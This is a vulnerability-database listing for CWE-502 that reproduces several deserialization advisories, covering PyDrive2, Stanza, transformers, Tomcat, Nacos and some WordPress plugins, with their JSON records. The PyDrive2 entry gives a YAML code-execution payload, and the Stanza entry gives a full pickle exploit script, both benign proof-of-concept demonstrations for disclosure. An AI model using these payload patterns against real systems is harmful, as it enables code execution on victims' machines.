CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4801 vulnerabilities reference this CWE, most recent first.
GHSA-V5F6-HJMF-9MC5
Vulnerability from github – Published: 2023-12-05 23:43 – Updated: 2024-11-22 20:20Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yamlfile:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuthobject .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PyDrive2"
},
"versions": [
"1.17.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "PyDrive2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49297"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T23:43:07Z",
"nvd_published_at": "2023-12-05T21:15:07Z",
"severity": "LOW"
},
"details": "### Summary\nUnsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.\n\n### Details\nThe loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5\n\nThis loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121\n\nCLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.\n\nhttps://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9\n\nReference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf\n\n### PoC\n1. Create a malicious `settings.yaml` file:\n\n```yaml\n!!python/object/new:os.system [echo poc]\n```\n2. Initialize a `GoogleAuth` object .\n```python\nfrom pydrive2.auth import GoogleAuth\n\ngauth = GoogleAuth()\n```\n3. Execute the code with the settings file present in your directory. The code inside the file will be executed:\n```\n[evan@ejedev PyDrive2]$ ls\nCHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini\n[evan@ejedev PyDrive2]$ cat settings.yaml\n!!python/object/new:os.system [echo poc]\n[evan@ejedev PyDrive2]$ cat main.py \nfrom pydrive2.auth import GoogleAuth\n\n\ngauth = GoogleAuth()\n[evan@ejedev PyDrive2]$ python3 main.py \npoc\n```\nAlternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile` \n\n### Impact\nThis is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk. ",
"id": "GHSA-v5f6-hjmf-9mc5",
"modified": "2024-11-22T20:20:57Z",
"published": "2023-12-05T23:43:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49297"
},
{
"type": "WEB",
"url": "https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004"
},
{
"type": "PACKAGE",
"url": "https://github.com/iterative/PyDrive2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyDrive2\u0027s unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution"
}
GHSA-V5FF-X4W5-HJHP
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37Insecure Deserialization in the Newsletter plugin before 6.8.2 for WordPress allows authenticated remote attackers with minimal privileges (such as subscribers) to use the tpnc_render AJAX action to inject arbitrary PHP objects via the options[inline_edits] parameter. NOTE: exploitability depends on PHP objects that might be present with certain other plugins or themes.
{
"affected": [],
"aliases": [
"CVE-2020-35932"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-01T02:15:00Z",
"severity": "HIGH"
},
"details": "Insecure Deserialization in the Newsletter plugin before 6.8.2 for WordPress allows authenticated remote attackers with minimal privileges (such as subscribers) to use the tpnc_render AJAX action to inject arbitrary PHP objects via the options[inline_edits] parameter. NOTE: exploitability depends on PHP objects that might be present with certain other plugins or themes.",
"id": "GHSA-v5ff-x4w5-hjhp",
"modified": "2022-05-24T17:37:49Z",
"published": "2022-05-24T17:37:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35932"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2020/08/newsletter-plugin-vulnerabilities-affect-over-300000-sites"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V5JW-96JM-7H2C
Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-19 19:35Summary
Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.
An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.
Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.
Details
The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)
When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.
The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.
The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:
| File | Lines |
|---|---|
stanza/models/common/pretrain.py |
64–66 |
stanza/models/coref/model.py |
251–253, 329–331 |
stanza/models/classifiers/trainer.py |
80–82 |
stanza/models/constituency/base_trainer.py |
94–96 |
Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.
The call chain from the public API to the vulnerable fallback is:
stanza.models.common.foundation_cache.load_pretrain(path)
→ FoundationCache.load_pretrain(path)
→ stanza.models.common.pretrain.Pretrain(filename)
→ Pretrain.emb (property access triggers load)
→ Pretrain.load()
→ torch.load(..., weights_only=True) # raises UnpicklingError
→ torch.load(..., weights_only=False) # executes arbitrary pickle
PoC
Environment: Python 3.11, stanza==1.12.0, torch==2.12.0
Step 1: Install dependencies:
pip install stanza==1.12.0 torch==2.12.0
Step 2: Save the following as exploit.py:
import os
from pathlib import Path
import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX
SENTINEL = "/tmp/stanza_rce_proof"
MODEL = "/tmp/stanza_malicious.pt"
class HarmlessPayload:
"""Demonstrates execution; writes a sentinel file."""
def __init__(self, path):
self.path = path
def __reduce__(self):
return (open, (self.path, "w"))
# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
"vocab": {
"lang": "", "idx": 0, "cutoff": 0, "lower": False,
"_id2unit": words,
"_unit2id": {w: i for i, w in enumerate(words)},
},
"emb": torch.zeros((len(words), 2), dtype=torch.float32),
"payload": HarmlessPayload(SENTINEL), # ← the malicious object
}
torch.save(state, MODEL)
# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
torch.load(MODEL, lambda s, l: s, weights_only=True)
print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")
# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)
print(f"stanza={stanza.__version__} torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")
Step 3 : Run:
python exploit.py
Expected output (confirmed):
Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0 torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH
The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.
Impact
Vulnerability class: CWE-502 : Deserialization of Untrusted Data
Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:
- Developers who run
stanza.Pipeline(lang)after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds
- Research environments that share pretrain files over shared network storage or model repositories
Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include:
- Compromise of a HuggingFace model repository hosting Stanza pretrain weights
- Poisoning of a shared model cache directory (NFS, S3, artifact store)
- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo
What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.
Recommended fix:
Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
raise RuntimeError(
f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
"deserialization. Regenerate the file using a trusted Stanza migration tool."
) from e
If legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "stanza"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54499"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-676"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:35:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nStanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.\n\nAn attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. \n\nCode execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.\n\n\n### Details\n\nThe vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0):\n\n```python\ntry:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)\n```\n\nWhen `weights_only=True` is passed, PyTorch\u0027s deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python\u0027s full pickle deserializer and executes any `__reduce__` method in the file without restriction.\n\nThe fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.\n\n**The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:**\n\n| File | Lines |\n|------|-------|\n| `stanza/models/common/pretrain.py` | 64\u201366 |\n| `stanza/models/coref/model.py` | 251\u2013253, 329\u2013331 |\n| `stanza/models/classifiers/trainer.py` | 80\u201382 |\n| `stanza/models/constituency/base_trainer.py` | 94\u201396 |\n\nAdditionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch \u003c 2.6.\n\nThe call chain from the public API to the vulnerable fallback is:\n\n```\nstanza.models.common.foundation_cache.load_pretrain(path)\n \u2192 FoundationCache.load_pretrain(path)\n \u2192 stanza.models.common.pretrain.Pretrain(filename)\n \u2192 Pretrain.emb (property access triggers load)\n \u2192 Pretrain.load()\n \u2192 torch.load(..., weights_only=True) # raises UnpicklingError\n \u2192 torch.load(..., weights_only=False) # executes arbitrary pickle\n```\n\n---\n\n### PoC\n\n**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`\n\n**Step 1: Install dependencies:**\n```bash\npip install stanza==1.12.0 torch==2.12.0\n```\n\n**Step 2: Save the following as `exploit.py`:**\n\n```python\nimport os\nfrom pathlib import Path\n\nimport torch\nimport stanza\nfrom stanza.models.common.foundation_cache import FoundationCache, load_pretrain\nfrom stanza.models.common.vocab import VOCAB_PREFIX\n\nSENTINEL = \"/tmp/stanza_rce_proof\"\nMODEL = \"/tmp/stanza_malicious.pt\"\n\nclass HarmlessPayload:\n \"\"\"Demonstrates execution; writes a sentinel file.\"\"\"\n def __init__(self, path):\n self.path = path\n def __reduce__(self):\n return (open, (self.path, \"w\"))\n\n# Build a structurally valid Stanza pretrain state dict with the payload embedded.\nwords = VOCAB_PREFIX + [\"hello\"]\nstate = {\n \"vocab\": {\n \"lang\": \"\", \"idx\": 0, \"cutoff\": 0, \"lower\": False,\n \"_id2unit\": words,\n \"_unit2id\": {w: i for i, w in enumerate(words)},\n },\n \"emb\": torch.zeros((len(words), 2), dtype=torch.float32),\n \"payload\": HarmlessPayload(SENTINEL), # \u2190 the malicious object\n}\ntorch.save(state, MODEL)\n\n# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.\ntry:\n torch.load(MODEL, lambda s, l: s, weights_only=True)\n print(\"UNEXPECTED: safe load succeeded (no fallback needed)\")\nexcept Exception as e:\n print(f\"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}\")\n\n# Load through the real Stanza API. The fallback fires and the sentinel is created.\ncache = FoundationCache()\npretrain = load_pretrain(MODEL, foundation_cache=cache)\n\nprint(f\"stanza={stanza.__version__} torch={torch.__version__}\")\nprint(f\"emb_shape={tuple(pretrain.emb.shape)}\")\nprint(f\"sentinel_exists={Path(SENTINEL).exists()}\")\nprint(\"VERDICT: ACTUAL_VULN_REAL_STANZA_PATH\" if Path(SENTINEL).exists() else \"VERDICT: UNPROVEN\")\n```\n\n**Step 3 : Run:**\n```bash\npython exploit.py\n```\n\n**Expected output (confirmed):**\n```\nControl: safe load raised UnpicklingError : sentinel exists: False\nstanza=1.12.0 torch=2.12.0\nemb_shape=(5, 2)\nsentinel_exists=True\nVERDICT: ACTUAL_VULN_REAL_STANZA_PATH\n```\n\nThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.\n\n---\n\n### Impact\n\n**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data\n\n**Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim\u0027s exclusive cryptographic control. Concretely:\n\n- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub\n- CI pipelines that automatically refresh Stanza models during builds\n- Research environments that share pretrain files over shared network storage or model repositories\n\n**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:\n- Compromise of a HuggingFace model repository hosting Stanza pretrain weights\n- Poisoning of a shared model cache directory (NFS, S3, artifact store)\n- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo\n\n**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.\n\n**Recommended fix:**\n\nRemove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:\n\n```python\ntry:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError as e:\n raise RuntimeError(\n f\"Refusing to load legacy pretrain file {self.filename!r} with unsafe \"\n \"deserialization. Regenerate the file using a trusted Stanza migration tool.\"\n ) from e\n```\n\nIf legacy NumPy-containing pretrain files must be supported, use PyTorch\u0027s `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.",
"id": "GHSA-v5jw-96jm-7h2c",
"modified": "2026-06-19T19:35:54Z",
"published": "2026-06-19T19:35:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-v5jw-96jm-7h2c"
},
{
"type": "PACKAGE",
"url": "https://github.com/stanfordnlp/stanza"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders"
}
GHSA-V5PF-366X-4GXG
Vulnerability from github – Published: 2025-07-02 09:30 – Updated: 2025-07-02 09:30The education theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.6.10 via deserialization of untrusted input in the 'themerex_callback_view_more_posts' function. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
{
"affected": [],
"aliases": [
"CVE-2024-13786"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-02T07:15:22Z",
"severity": "CRITICAL"
},
"details": "The education theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.6.10 via deserialization of untrusted input in the \u0027themerex_callback_view_more_posts\u0027 function. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
"id": "GHSA-v5pf-366x-4gxg",
"modified": "2025-07-02T09:30:29Z",
"published": "2025-07-02T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13786"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/education-center-training-courses-wordpress-theme/10652918#item-description__change-log"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0b27bc8-617a-4f98-954f-e49f87dca311?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5Q5-2QPM-H6J6
Vulnerability from github – Published: 2024-02-12 09:31 – Updated: 2026-04-28 21:33Deserialization of Untrusted Data vulnerability in WP Swings Coupon Referral Program.This issue affects Coupon Referral Program: from n/a through 1.7.2.
{
"affected": [],
"aliases": [
"CVE-2024-25100"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-12T07:15:11Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in WP Swings Coupon Referral Program.This issue affects Coupon Referral Program: from n/a through 1.7.2.",
"id": "GHSA-v5q5-2qpm-h6j6",
"modified": "2026-04-28T21:33:58Z",
"published": "2024-02-12T09:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25100"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/coupon-referral-program/wordpress-coupon-referral-program-plugin-1-7-2-unauthenticated-php-object-injection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/coupon-referral-program/vulnerability/wordpress-coupon-referral-program-plugin-1-7-2-unauthenticated-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V68G-WM8C-6X7J
Vulnerability from github – Published: 2023-12-20 18:30 – Updated: 2024-11-22 20:45Deserialization of Untrusted Data in GitHub repository huggingface/transformers prior to 4.36.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.36.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-7018"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-20T20:29:40Z",
"nvd_published_at": "2023-12-20T17:15:08Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data in GitHub repository huggingface/transformers prior to 4.36.",
"id": "GHSA-v68g-wm8c-6x7j",
"modified": "2024-11-22T20:45:13Z",
"published": "2023-12-20T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7018"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/1d63b0ec361e7a38f1339385e8a5a855085532ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/transformers/PYSEC-2023-301.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/e1a3e548-e53a-48df-b708-9ee62140963c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "transformers has a Deserialization of Untrusted Data vulnerability"
}
GHSA-V6C7-8QX5-8GMP
Vulnerability from github – Published: 2022-05-17 03:47 – Updated: 2022-11-03 21:09The readObject method in the DiskFileItem class in Apache Tomcat and JBoss Web, as used in Red Hat JBoss Enterprise Application Platform 6.1.0 and Red Hat JBoss Portal 6.0.0, allows remote attackers to write to arbitrary files via a NULL byte in a file name in a serialized instance, a similar issue to CVE-2013-2186.
NOTE: this issue is reportedly disputed by the Apache Tomcat team, although Red Hat considers it a vulnerability. The dispute appears to regard whether it is the responsibility of applications to avoid providing untrusted data to be deserialized, or whether this class should inherently protect against this issue. Regardless the tomcat maintainers have altered the behavior of this method in version 7.0.39.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-2185"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-03T21:09:17Z",
"nvd_published_at": "2014-01-19T18:02:00Z",
"severity": "HIGH"
},
"details": "The readObject method in the DiskFileItem class in Apache Tomcat and JBoss Web, as used in Red Hat JBoss Enterprise Application Platform 6.1.0 and Red Hat JBoss Portal 6.0.0, allows remote attackers to write to arbitrary files via a NULL byte in a file name in a serialized instance, a similar issue to CVE-2013-2186. \n\nNOTE: this issue is reportedly disputed by the Apache Tomcat team, although Red Hat considers it a vulnerability. The dispute appears to regard whether it is the responsibility of applications to avoid providing untrusted data to be deserialized, or whether this class should inherently protect against this issue. Regardless the tomcat maintainers have altered the behavior of this method in version 7.0.39.",
"id": "GHSA-v6c7-8qx5-8gmp",
"modified": "2022-11-03T21:09:17Z",
"published": "2022-05-17T03:47:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2185"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2014/10/24/12"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1193.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1194.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1265.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/09/05/4"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Deserialization of Untrusted Data in Apache Tomcat"
}
GHSA-V6C8-PWHQ-288M
Vulnerability from github – Published: 2023-08-21 18:31 – Updated: 2023-09-01 17:33An issue in Nacos Group Nacos Spring Project v.1.1.1 and before allows a remote attacker to execute arbitrary code via the SnakeYamls Constructor() component.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.alibaba.nacos:nacos-spring-context"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-39106"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:45:33Z",
"nvd_published_at": "2023-08-21T17:15:48Z",
"severity": "HIGH"
},
"details": "An issue in Nacos Group Nacos Spring Project v.1.1.1 and before allows a remote attacker to execute arbitrary code via the SnakeYamls Constructor() component.",
"id": "GHSA-v6c8-pwhq-288m",
"modified": "2023-09-01T17:33:29Z",
"published": "2023-08-21T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39106"
},
{
"type": "WEB",
"url": "https://github.com/nacos-group/nacos-spring-project/issues/314"
},
{
"type": "PACKAGE",
"url": "https://github.com/nacos-group/nacos-spring-project"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nacos Spring vulnerable to Unsafe Deserialization"
}
GHSA-V6CV-PJF9-9V55
